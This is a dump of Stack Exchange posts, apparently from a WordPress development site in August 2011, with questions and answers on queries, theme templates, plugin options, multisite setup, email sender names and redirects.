  <row Id="24687" PostTypeId="2" ParentId="24682" CreationDate="2011-08-02T14:29:29.490" Score="1" ViewCount="" Body="&lt;p&gt;You need to just merge the current query for the search with the part you want to add which you came close to doing already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you have a custom taxonomy called media and you specifically want to leave out posts with the term media (like a term found in a tag or category) in the search results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom_query = array();&#xA;$custom_query['tax_query'][] = array( 'taxonomy' =&amp;gt; 'media', 'terms' =&amp;gt; array('media'), 'field' =&amp;gt; 'slug', 'operator' =&amp;gt; 'NOT IN' );&#xA;&#xA;$args = array_merge( $wp_query-&amp;gt;query, $custom_query );&#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7545" LastActivityDate="2011-08-02T14:29:29.490" CommentCount="3" />
  <row Id="24688" PostTypeId="2" ParentId="24685" CreationDate="2011-08-02T14:33:08.670" Score="0" ViewCount="" Body="&lt;p&gt;This is NOT a good idea. If you get that kind of behavior, then you didn't properly code your carousel thing / CSS. You should hide the element that contains it, and reveal it in the js hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you really want to go your way, here's how:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;header.php: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;body &amp;lt;?php body_class('site-loading no-js'); ?&amp;gt;&amp;gt;&#xA;  &amp;lt;script&amp;gt; &#xA;     document.body.className = document.body.className.replace('no-js','has-js');&#xA;  &amp;lt;/script&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.site-loading.has-js{&#xA;  background: #fff url('the/loading.gif') no-repeat center center;&#xA;}&#xA;&#xA;body.site-loading.has-js *{&#xA;  display:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;javascript, assuming jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;   // do your carousel thing&#xA;&#xA;   // should be last line&#xA;   $('body').removeClass('site-loading');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Needless to tell you that any javascript error after the header code I gave you, will keep your site in &quot;loading&quot; mode forever :)&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-08-02T15:09:56.830" LastActivityDate="2011-08-02T15:09:56.830" />
  <row Id="24689" PostTypeId="2" ParentId="24683" CreationDate="2011-08-02T14:33:31.517" Score="0" ViewCount="" Body="&lt;p&gt;Indeed, there is a function named &lt;code&gt;is_bbpress()&lt;/code&gt;. Use the RC1 version, it was introduced in r3344.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-02T14:33:31.517" CommentCount="2" />
  <row Id="24693" PostTypeId="2" ParentId="24321" CreationDate="2011-08-02T15:36:18.607" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Potential Issues&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google's Page Speed service does not work with &quot;naked domains&quot;. That is, it will not work with just &quot;example.com&quot;. The domain name must have a subdomain in front of it, such as &quot;www.example.com&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is due to a limitation on Google's implementation of the Page Speed service, which requires you to set up a CNAME record in your DNS. This is not a generic limitation of the Page Speed system itself, and you can use the open-source &lt;a href=&quot;http://code.google.com/speed/page-speed/docs/module.html&quot; rel=&quot;nofollow&quot;&gt;mod_pagespeed&lt;/a&gt; to achieve the same ends, if you have that level of access to your webhost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you do attempt to use the Page Speed service, migrate your entire site to a subdomain setup first. Note that this will affect subdomain installations of multisite setups.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-02T15:36:18.607" CommunityOwnedDate="2011-08-02T15:36:18.607" />
  <row Id="24694" PostTypeId="1" CreationDate="2011-08-02T15:40:20.667" Score="1" ViewCount="53" Body="&lt;p&gt;I am writing a plugin and it require around 15 different options, . so I am using php serialization .. I am doing it by an array and update option with php serialize functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I access it from .../wp-admin/options.php .. I am able to see the raw data . .but while as core wordpress options are locked mentioned &quot;SERIALIZED DATA&quot;.. I want to implement something like this.. &lt;/p&gt;&#xA;" OwnerUserId="7551" LastActivityDate="2011-08-02T16:32:06.887" Title="Correct way to serialize the data of options table?" Tags="&lt;plugins&gt;&lt;options&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24696" PostTypeId="1" AcceptedAnswerId="24708" CreationDate="2011-08-02T16:06:46.063" Score="0" ViewCount="47" Body="&lt;p&gt;I do not allow users to login to my blog, but I would like to enable facebook connect for those who do not want to enter their details in the comments fields all the time. How should I start doing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable on wordpress settings user logins, when implement facebook comment and thats it?&lt;/p&gt;&#xA;" OwnerUserId="7552" LastActivityDate="2011-08-02T17:18:37.780" Title="I want to enable facebook connect how to do this?" Tags="&lt;facebook&gt;" AnswerCount="2" />
  <row Id="24697" PostTypeId="1" AcceptedAnswerId="24701" CreationDate="2011-08-02T16:17:25.247" Score="1" ViewCount="53" Body="&lt;p&gt;Reading through the &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; you have the ability to setup a WP Network in two ways, Sub-Domains and Sub-Directories. The only explanation they give you is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sub-directory sites&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It works with the use of the mod_rewrite feature on the server having the ability to read the .htaccess file, which will create the link structure.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you are using pretty permalinks in your blog already, then subdirectory sites will work as well.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sub-domain sites&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It works using wildcard subdomains. You must have this enabled in Apache, and you must also add a wildcard subdomain to your DNS records. (See Step 2 how to set up.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Some hosts have already set up the wildcard on the server side, which means all you need to add is the DNS record.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Some shared webhosts may not support this, so you may need to check your webhost before enabling this feature.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm looking to find if there is a performance, maintenance or other benefit to use one over the other. &lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-08-09T22:55:51.710" Title="Benefits or Problems for using Sub-Directory vs Sub-Domain install of WP Network" Tags="&lt;multisite&gt;&lt;network&gt;&lt;subdomains&gt;&lt;subdirectories&gt;" AnswerCount="3" />
  <row Id="24698" PostTypeId="1" CreationDate="2011-08-02T16:25:58.780" Score="0" ViewCount="95" Body="&lt;p&gt;I've read a ton of tutorials and articles and searched for days now, but I still can't seem to get my custom fields to display in the loop and I could use a hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, I definitely have the custom fields enabled and they are taking data. When I edit a post (I'm using the More Fields plugin), I can see the native custom fields boxes on the post, and the data is loading from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating a child theme for Twenty Eleven, which is otherwise working beautifully. When I try to insert the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'details', true); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;code into the loop, i get no response. I'm putting it on the index.php template. 'details' is the name of the custom field key I'm trying to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, the pertinent bit of code I'm using is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;                &amp;lt;?php get_template_part( 'content', get_post_format() ); ?&amp;gt;&#xA;                &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'start_time', true); ?&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alas, the data is not showing up on the front end. Does anyone have any idea why this isn't working? It seems like such a simple thing and I am a bit confused as to why the Twenty Eleven theme doesn't have something built in to handle custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can post other bits of code or whatever if it's needed for further troubleshooting. Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Just a follow up:&lt;/strong&gt;&#xA;I tried putting a basic&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;?php echo &quot;this is working&quot; ?&amp;gt;&amp;lt;/p&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside the loop and that didn't work either. something is definitely screwy here. i've got the index.php inside the child theme folder, and the posts are definitely posting and displaying on the page. and that bit of code works perfectly if i put it inside the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it would help, here's the link to my dev version: &lt;a href=&quot;http://sandbox.littleoracle.net/starseed/?p=291&quot; rel=&quot;nofollow&quot;&gt;http://sandbox.littleoracle.net/starseed/?p=291&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7550" LastEditorUserId="7550" LastEditorDisplayName="" LastEditDate="2011-08-02T18:02:18.600" LastActivityDate="2011-08-03T15:05:00.277" Title="Custom fields not displaying on front end" Tags="&lt;themes&gt;&lt;custom-field&gt;&lt;plugin-more-fields&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="24699" PostTypeId="2" ParentId="24694" CreationDate="2011-08-02T16:32:06.887" Score="1" ViewCount="" Body="&lt;p&gt;The correct way to store multiple options is as a multidimensional array and save to one option field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myopt = array(&#xA;    'variable1' =&amp;gt; ...&#xA;    'variable2' =&amp;gt; ...&#xA;    ....&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then simply pass the array to &lt;code&gt;update_option()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option('my_settings_field', $myopt);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you pass an array WP will auto serialize the data for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to read back out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myopt = get_option('my_settings_field');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WP will auto un-serialize the data and put back into an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned that on options.php you see that the option is shown as &lt;code&gt;SERIALIZED DATA&lt;/code&gt; this is because you cannot reliably edit serialized data as a string. If you want to be able to edit your options from the options.php page then you will need to save each option individually. I would not recommend this. What I recommend is that you create your own options page for editing your options. There are a number of tutorials out there that can get you started. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Creating_Options_Pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Creating_Options_Pages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is a good starting point. And also check out &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-02T16:32:06.887" />
  <row Id="24700" PostTypeId="2" ParentId="24697" CreationDate="2011-08-02T16:32:38.773" Score="1" ViewCount="" Body="&lt;p&gt;Not that I really have the credentials to answer this but I did find this awhile back and thought I'd share. It's a pretty decent walkthrough of what to do for setting up the multisite feature, permissions, and things of that nature. Like I said, it doesn't really answer the question here but it does work in tandem with what we're looking to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://digwp.com/2011/02/hosting-clients-wordpress-network/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2011/02/hosting-clients-wordpress-network/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="7556" LastActivityDate="2011-08-02T16:32:38.773" CommentCount="1" />
  <row Id="24701" PostTypeId="2" ParentId="24697" CreationDate="2011-08-02T16:34:19.100" Score="1" ViewCount="" Body="&lt;p&gt;I began using Multisite just a few months ago, and am really loving it. You're going to want to use the sub-domain structure if you have a host that supports it. I use a Media Temple Grid Server plan. It will allow you to create a subdomain and then mask it with a symbolic link. i.e. rtgibbons.mynetwork.com would be mapped as rtgibbons.com or whatever URL you want presented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon a Google search, I found that as long as you plan to use Domain Mapping, there will be no advantage to either method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/multisite-subdomain-vs-sub-directory-setup?replies=4&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/multisite-subdomain-vs-sub-directory-setup?replies=4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest subscribing to the WordPress.org Multisite Forum. There is very good info over there and Andrea_r is very sharp. &lt;/p&gt;&#xA;" OwnerUserId="6974" LastEditorUserId="6974" LastEditorDisplayName="" LastEditDate="2011-08-02T16:41:17.860" LastActivityDate="2011-08-02T16:41:17.860" CommentCount="1" />
  <row Id="24702" PostTypeId="1" CreationDate="2011-08-02T16:35:44.590" Score="2" ViewCount="17" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/mailchimp-sts/&quot; rel=&quot;nofollow&quot;&gt;Mailchimp STS plugin for Wordpress&lt;/a&gt;, which uses &lt;a href=&quot;http://aws.amazon.com/ses/&quot; rel=&quot;nofollow&quot;&gt;Amazon SES&lt;/a&gt; for transactional emails. The plugin is set up correctly, but the default &quot;From&quot; name appears only as &quot;andrew&quot; in sent emails. Since there is no option to change this in the plugin's settings, I assume this is being grabbed from my email address (e.g. andrew@domain.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this code in the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Plugin authors can override the potentially troublesome default&#xA;$phpmailer-&amp;gt;From     = apply_filters( 'wp_mail_from', $from_email );&#xA;$phpmailer-&amp;gt;FromName = apply_filters( 'wp_mail_from_name', $from_name  );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I change it so that I can display a custom &quot;From&quot; name (e.g. My Name, Company).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the help!&lt;/p&gt;&#xA;" OwnerUserId="7554" LastActivityDate="2011-08-02T16:58:31.053" Title="Change &quot;From&quot; name in MailChimp STS plugin" Tags="&lt;plugins&gt;&lt;plugin-mailchimp&gt;&lt;plugin-mailchimp-sts&gt;&lt;amazon&gt;" AnswerCount="1" />
  <row Id="24703" PostTypeId="2" ParentId="24702" CreationDate="2011-08-02T16:58:31.053" Score="1" ViewCount="" Body="&lt;p&gt;There are two modes email can be sent with the plugin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;simple emails are sent through STS;&lt;/li&gt;&#xA;&lt;li&gt;email with anything that STS doesn't support (custom headers, attachments, etc) are sent through fallback function, that is simply copy of native &lt;code&gt;wp_mail()&lt;/code&gt; function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For former plugin doesn't set from name at all. For latter it default to &lt;code&gt;WordPress&lt;/code&gt; and goes through those filters you found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since neither fits your description I think it is simply email client, that you are checking this with, is taking part of email to show as (missing) name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is not something you currently do, because &lt;code&gt;wp_mail_from_name&lt;/code&gt; filter is not used by plugin's code. But it should be. I claim &quot;it's beta&quot; defence and off to create ticket so this is corrected in next version. Sorry for inconvenience!&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-02T16:58:31.053" />
  <row Id="24704" PostTypeId="2" ParentId="24696" CreationDate="2011-08-02T17:04:48.073" Score="1" ViewCount="" Body="&lt;p&gt;Use Facebook connect plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-facebookconnect/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-facebookconnect/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-08-02T17:04:48.073" />
  <row Id="24705" PostTypeId="2" ParentId="24610" CreationDate="2011-08-02T17:05:27.590" Score="1" ViewCount="" Body="&lt;p&gt;This works for me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a Page called &quot;Blog&quot; and in Settings &gt; Reading, set the Blog&#xA;Page to be the Posts page.&lt;/li&gt;&#xA;&lt;li&gt;Create a WordPress menu and add to it my Blog Page, Category 1 and Category 2&lt;/li&gt;&#xA;&lt;li&gt;Navigate to one of the posts in Category 1 &lt;/li&gt;&#xA;&lt;li&gt;Category 1 is set as &quot;current-post-parent&quot; in the menu&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can remove &quot;category&quot; from the URL using one of the various methods out there (&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-no-category-base/&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt;, &lt;a href=&quot;http://wpmu.org/daily-tip-quick-trick-to-remove-category-from-wordpress-url/&quot; rel=&quot;nofollow&quot;&gt;permalink structure&lt;/a&gt;, &lt;a href=&quot;http://www.wprecipes.com/how-to-remove-category-from-your-wordpress-url&quot; rel=&quot;nofollow&quot;&gt;.htaccess&lt;/a&gt;). I just tried using the permalink structure method and that worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this works - keeping my fingers crossed &amp;amp; knocking on wood &amp;amp; all that good stuff! :)&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-02T17:05:27.590" CommentCount="7" />
  <row Id="24706" PostTypeId="2" ParentId="24672" CreationDate="2011-08-02T17:07:12.300" Score="1" ViewCount="" Body="&lt;p&gt;This will help you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://keighl.com/2010/01/tinymce-in-wordpress-plugins/&quot; rel=&quot;nofollow&quot;&gt;http://keighl.com/2010/01/tinymce-in-wordpress-plugins/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-08-02T17:07:12.300" CommentCount="1" />
  <row Id="24707" PostTypeId="1" AcceptedAnswerId="24709" CreationDate="2011-08-02T17:11:59.427" Score="0" ViewCount="22" Body="&lt;p&gt;I have several category pages (e.g. example.com/?cat=3) that display only the post titles. I would like to make them display the post as well. What is the easiest way to do this?&lt;/p&gt;&#xA;" OwnerUserId="5767" LastActivityDate="2011-08-02T17:26:46.417" Title="Change Category Page Display" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="24708" PostTypeId="2" ParentId="24696" CreationDate="2011-08-02T17:18:37.780" Score="1" ViewCount="" Body="&lt;p&gt;Try the new beta version of my Simple Facebook Connect plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://plugins.svn.wordpress.org/simple-facebook-connect/branches/new-sfc/&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/simple-facebook-connect/branches/new-sfc/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer this comment implementation over others as mine does not create WordPress users directly from Facebook connected users when just used for commenting.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-02T17:18:37.780" />
  <row Id="24709" PostTypeId="2" ParentId="24707" CreationDate="2011-08-02T17:26:46.417" Score="0" ViewCount="" Body="&lt;p&gt;Category pages or archives?  If you're a little more specific you will probably get multiple ideas, but in general, if you've got a loop you can use one of the two following functions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&lt;/code&gt; will show the custom or default excerpt for the post&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;?php the_content('Read More &amp;amp;raquo;'); ?&amp;gt;&lt;/code&gt; will show the full post with a &quot;Read More&quot; link employed if you've used &lt;code&gt;&amp;lt;!-- more--&amp;gt;&lt;/code&gt; in your post to show only part of the post on aggregate templates&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you are looking for simple functions for your templates to display content, you should probably read up on the &lt;a href=&quot;http://codex.wordpress.org/Main_Page&quot; rel=&quot;nofollow&quot;&gt;WordPress codex&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7218" LastActivityDate="2011-08-02T17:26:46.417" CommentCount="3" />
  <row Id="24710" PostTypeId="1" CreationDate="2011-08-02T17:28:57.803" Score="1" ViewCount="64" Body="&lt;p&gt;I have a template page that has form on that is only used once in my site. The form uses form validation using &lt;a href=&quot;http://bassistance.de/jquery-plugins/jquery-plugin-validation/&quot; rel=&quot;nofollow&quot;&gt;jquery validate plugin&lt;/a&gt; (such a great plugin). Once the cart66 Plugin is loaded, the form validation stops working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather spending ages looking for the conflict, I thought it would be easiest to just turn off the plugin for that template page as cart66 is not need on this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to stop plugins loading on individual template pages? I am using WordPress 3.2.1&lt;/p&gt;&#xA;" OwnerUserId="7557" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-08-02T18:50:28.857" LastActivityDate="2011-08-08T12:30:40.003" Title="Is it possible to stop selected plugins from loading on certain template pages?" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;template&gt;&lt;page-template&gt;" AnswerCount="3" />
  <row Id="24711" PostTypeId="1" AcceptedAnswerId="24712" CreationDate="2011-08-02T17:31:01.063" Score="0" ViewCount="50" Body="&lt;p&gt;I need to display some HTML only if the post being displayed has a category - not a specific category, just any category at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;if (!is_empty(get_the_category($post-&amp;gt;ID)))&lt;/code&gt;, but for some reason this isn't working. Has anone else had the same issue?&lt;/p&gt;&#xA;" OwnerUserId="6389" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-08-02T17:36:36.533" LastActivityDate="2011-08-02T17:36:36.533" Title="Test if post has a category" Tags="&lt;categories&gt;&lt;get-the-category&gt;&lt;has-category&gt;" AnswerCount="1" />
  <row Id="24712" PostTypeId="2" ParentId="24711" CreationDate="2011-08-02T17:34:46.113" Score="2" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;has_category&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (has_category('',$post-&amp;gt;ID)) ...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use it in The Loop, you don't need to specify the ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (has_category()) ...&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-02T17:34:46.113" CommentCount="5" />
  <row Id="24713" PostTypeId="2" ParentId="24710" CreationDate="2011-08-02T17:39:53.373" Score="0" ViewCount="" Body="&lt;p&gt;It sounds like the javascript from cart66 and your form plugin are in conflict. You can 'turn off' javascript per page/ post etc. by using the enqueue script function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully both of your plugins are written well and include their javascript with this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, they will have a handle that you can use to deregister (or dequeue) the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_deregister_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_deregister_script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to write a conditional script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(!is_page('FORM-PAGE-SLUG')){wp_dequeue('form-javascript-handle')}?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that should be a good starting place.&lt;/p&gt;&#xA;" OwnerUserId="6062" LastActivityDate="2011-08-02T17:39:53.373" CommentCount="2" />
  <row Id="24715" PostTypeId="1" AcceptedAnswerId="24748" CreationDate="2011-08-02T17:55:32.523" Score="1" ViewCount="56" Body="&lt;p&gt;This stuff is driving me nuts. The following url does NOT exist and should return a 404:&#xA;&lt;a href=&quot;http://www.easyjob.net/resume/&quot; rel=&quot;nofollow&quot;&gt;http://www.easyjob.net/resume/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I try to access it, I get a 301 to &lt;a href=&quot;http://www.easyjob.net/r/cover-letter/resume-and-cover-letter/&quot; rel=&quot;nofollow&quot;&gt;http://www.easyjob.net/r/cover-letter/resume-and-cover-letter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I add a redirect to the .htaccess to redirect it somewhere else, I still get the &lt;strong&gt;*&lt;/strong&gt; 301 to &lt;a href=&quot;http://www.easyjob.net/r/cover-letter/resume-and-cover-letter/&quot; rel=&quot;nofollow&quot;&gt;http://www.easyjob.net/r/cover-letter/resume-and-cover-letter/&lt;/a&gt; again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody knows what's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS this is the .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddHandler php5-script .php&#xA;&#xA;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&#xA;#/RESUME/&#xA;Redirect        http://www.easyjob.net/resume/ http://www.easyjob.net/r/ [R=301,NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7250" LastActivityDate="2011-08-31T12:20:39.930" Title="Can Wordpress redirect to a &quot;similar page&quot; in case of 404 error" Tags="&lt;redirect&gt;&lt;htaccess&gt;" AnswerCount="2" />
  <row Id="24716" PostTypeId="1" AcceptedAnswerId="24822" CreationDate="2011-08-02T18:08:47.737" Score="0" ViewCount="34" Body="&lt;p&gt;I've inherited a mess of a WP site. I need to be able to take 100+ categories and rearrange parent/child relationships. I need something with a UI that will make this easy. Anyone know of a plugin that does this?&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-03T15:37:23.363" Title="Plugin to assign parent category on multiple taxonomy terms" Tags="&lt;taxonomy&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24717" PostTypeId="1" AcceptedAnswerId="24722" CreationDate="2011-08-02T18:12:29.157" Score="3" ViewCount="47" Body="&lt;p&gt;Was wondering if there was a class or programming technique that would allow me to check for the installation and activation of a particular plugin and if said plugin were not installed, to have it downloaded from WordPress's plugin repository? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a plugin I would like to require scribu's Post 2 Post plugin and I was wondering how it could be done?&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-08-02T18:47:48.390" Title="How would you require and automatically download dependent plugins?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="2" FavoriteCount="1" />
